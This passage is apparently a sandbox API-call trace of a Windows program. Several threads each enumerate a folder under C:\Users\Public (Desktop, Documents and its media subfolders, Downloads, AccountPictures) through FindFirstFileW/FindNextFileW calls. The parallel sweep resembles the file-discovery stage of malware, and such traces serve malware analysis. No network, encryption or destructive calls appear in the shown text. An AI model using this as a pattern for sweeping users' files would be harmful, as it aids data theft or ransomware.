	[0084.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daec48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c0
	[0084.246] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="pass.png", cAlternateFileName="")) returned 0
	[0084.246] FindClose (in: hFindFile=0x477a8e8 | out: hFindFile=0x477a8e8) returned 1
	[0084.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a3b30) returned 1
	[0084.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e016c0) returned 1
	[0084.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01990) returned 1

Thread:
	id = 666
	os_tid = 0x1994

	[0078.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2e01b70
	[0078.201] wcscpy (in: _Dest=0x2e01b70, _Source="C:\\Users\\Public\\AccountPictures" | out: _Dest="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures"
	[0078.201] wcscat (in: _Dest=0x2e01b70, _Source="\\" | out: _Dest="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\"
	[0078.201] wcscat (in: _Dest=0x2e01b70, _Source="*" | out: _Dest="C:\\Users\\Public\\AccountPictures\\*") returned="C:\\Users\\Public\\AccountPictures\\*"
	[0078.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4000
	[0078.201] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*", lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a75d0
	[0082.007] wcscmp (_String1=".", _String2=".") returned 0
	[0082.007] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.007] wcscmp (_String1="..", _String2=".") returned 1
	[0082.007] wcscmp (_String1="..", _String2="..") returned 0
	[0082.007] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.007] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.007] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.007] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0082.007] FindClose (in: hFindFile=0x46a75d0 | out: hFindFile=0x46a75d0) returned 1
	[0082.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4000) returned 1
	[0082.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01b70) returned 1
	[0082.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1

Thread:
	id = 667
	os_tid = 0x1998

	[0078.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dac978
	[0078.203] wcscpy (in: _Dest=0x2dac978, _Source="C:\\Users\\Public\\Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0078.203] wcscat (in: _Dest=0x2dac978, _Source="\\" | out: _Dest="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0078.203] wcscat (in: _Dest=0x2dac978, _Source="*" | out: _Dest="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*"
	[0078.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4268
	[0078.203] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0078.311] wcscmp (_String1=".", _String2=".") returned 0
	[0078.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.311] wcscmp (_String1="..", _String2=".") returned 1
	[0078.311] wcscmp (_String1="..", _String2="..") returned 0
	[0078.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1
	[0078.311] wcscmp (_String1="Acrobat Reader DC.lnk", _String2=".") returned 1
	[0078.311] wcscmp (_String1="Acrobat Reader DC.lnk", _String2="..") returned 1
	[0078.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0078.311] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0078.311] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0078.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
	[0078.311] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1
	[0078.311] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1
	[0078.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1
	[0078.311] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1
	[0078.311] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1
	[0078.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0
	[0078.311] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0078.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4268) returned 1
	[0078.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac978) returned 1
	[0078.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb4d8) returned 1

Thread:
	id = 668
	os_tid = 0x199c

	[0078.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2daca38
	[0078.203] wcscpy (in: _Dest=0x2daca38, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0078.203] wcscat (in: _Dest=0x2daca38, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\"
	[0078.203] wcscat (in: _Dest=0x2daca38, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\*") returned="C:\\Users\\Public\\Documents\\*"
	[0078.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1be8
	[0078.203] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7610
	[0082.004] wcscmp (_String1=".", _String2=".") returned 0
	[0082.004] FindNextFileW (in: hFindFile=0x46a7610, lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.004] wcscmp (_String1="..", _String2=".") returned 1
	[0082.005] wcscmp (_String1="..", _String2="..") returned 0
	[0082.005] FindNextFileW (in: hFindFile=0x46a7610, lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.005] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.005] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.005] FindNextFileW (in: hFindFile=0x46a7610, lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0082.005] wcscmp (_String1="My Music", _String2=".") returned 1
	[0082.005] wcscmp (_String1="My Music", _String2="..") returned 1
	[0082.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2d8ae50
	[0082.005] wcscpy (in: _Dest=0x2d8ae50, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0082.005] wcscat (in: _Dest=0x2d8ae50, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\"
	[0082.005] wcscat (in: _Dest=0x2d8ae50, _Source="My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0091.648] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dabbe0
	[0091.648] wcscpy (in: _Dest=0x2dabbe0, _Source="C:\\Users\\Public\\Documents\\My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0091.648] wcscat (in: _Dest=0x2dabbe0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\"
	[0091.648] wcscat (in: _Dest=0x2dabbe0, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\*") returned="C:\\Users\\Public\\Documents\\My Music\\*"
	[0091.648] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
	[0091.648] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0091.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f498) returned 1
	[0091.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabbe0) returned 1
	[0091.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8ae50) returned 1
	[0091.649] FindNextFileW (in: hFindFile=0x46a7610, lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0091.649] wcscmp (_String1="My Pictures", _String2=".") returned 1
	[0091.649] wcscmp (_String1="My Pictures", _String2="..") returned 1
	[0091.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabdf0
	[0091.649] wcscpy (in: _Dest=0x2dabdf0, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0091.649] wcscat (in: _Dest=0x2dabdf0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\"
	[0091.649] wcscat (in: _Dest=0x2dabdf0, _Source="My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0091.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac318
	[0091.649] wcscpy (in: _Dest=0x2dac318, _Source="C:\\Users\\Public\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0091.649] wcscat (in: _Dest=0x2dac318, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\"
	[0091.649] wcscat (in: _Dest=0x2dac318, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*"
	[0091.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0091.649] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0091.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0091.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac318) returned 1
	[0091.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabdf0) returned 1
	[0091.650] FindNextFileW (in: hFindFile=0x46a7610, lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0091.650] wcscmp (_String1="My Videos", _String2=".") returned 1
	[0091.650] wcscmp (_String1="My Videos", _String2="..") returned 1
	[0091.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e016c0
	[0091.650] wcscpy (in: _Dest=0x2e016c0, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0091.650] wcscat (in: _Dest=0x2e016c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\"
	[0091.650] wcscat (in: _Dest=0x2e016c0, _Source="My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0091.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac000
	[0091.650] wcscpy (in: _Dest=0x2dac000, _Source="C:\\Users\\Public\\Documents\\My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0091.650] wcscat (in: _Dest=0x2dac000, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\"
	[0091.650] wcscat (in: _Dest=0x2dac000, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\*") returned="C:\\Users\\Public\\Documents\\My Videos\\*"
	[0091.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50307d8
	[0091.650] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0091.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50307d8) returned 1
	[0091.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac000) returned 1
	[0091.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e016c0) returned 1
	[0091.650] FindNextFileW (in: hFindFile=0x46a7610, lpFindFileData=0x47a1be8 | out: lpFindFileData=0x47a1be8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
	[0091.650] FindClose (in: hFindFile=0x46a7610 | out: hFindFile=0x46a7610) returned 1
	[0091.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a1be8) returned 1
	[0091.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daca38) returned 1
	[0091.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac8b8) returned 1

Thread:
	id = 669
	os_tid = 0x19a0

	[0078.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2daca78
	[0078.204] wcscpy (in: _Dest=0x2daca78, _Source="C:\\Users\\Public\\Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0078.204] wcscat (in: _Dest=0x2daca78, _Source="\\" | out: _Dest="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\"
	[0078.204] wcscat (in: _Dest=0x2daca78, _Source="*" | out: _Dest="C:\\Users\\Public\\Downloads\\*") returned="C:\\Users\\Public\\Downloads\\*"
	[0078.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1e50
	[0078.204] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a75d0
	[0082.001] wcscmp (_String1=".", _String2=".") returned 0
	[0082.001] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.001] wcscmp (_String1="..", _String2=".") returned 1
	[0082.001] wcscmp (_String1="..", _String2="..") returned 0
	[0082.001] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.001] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.001] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.001] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0082.001] FindClose (in: hFindFile=0x46a75d0 | out: hFindFile=0x46a75d0) returned 1
	[0082.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a1e50) returned 1
	[0082.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daca78) returned 1
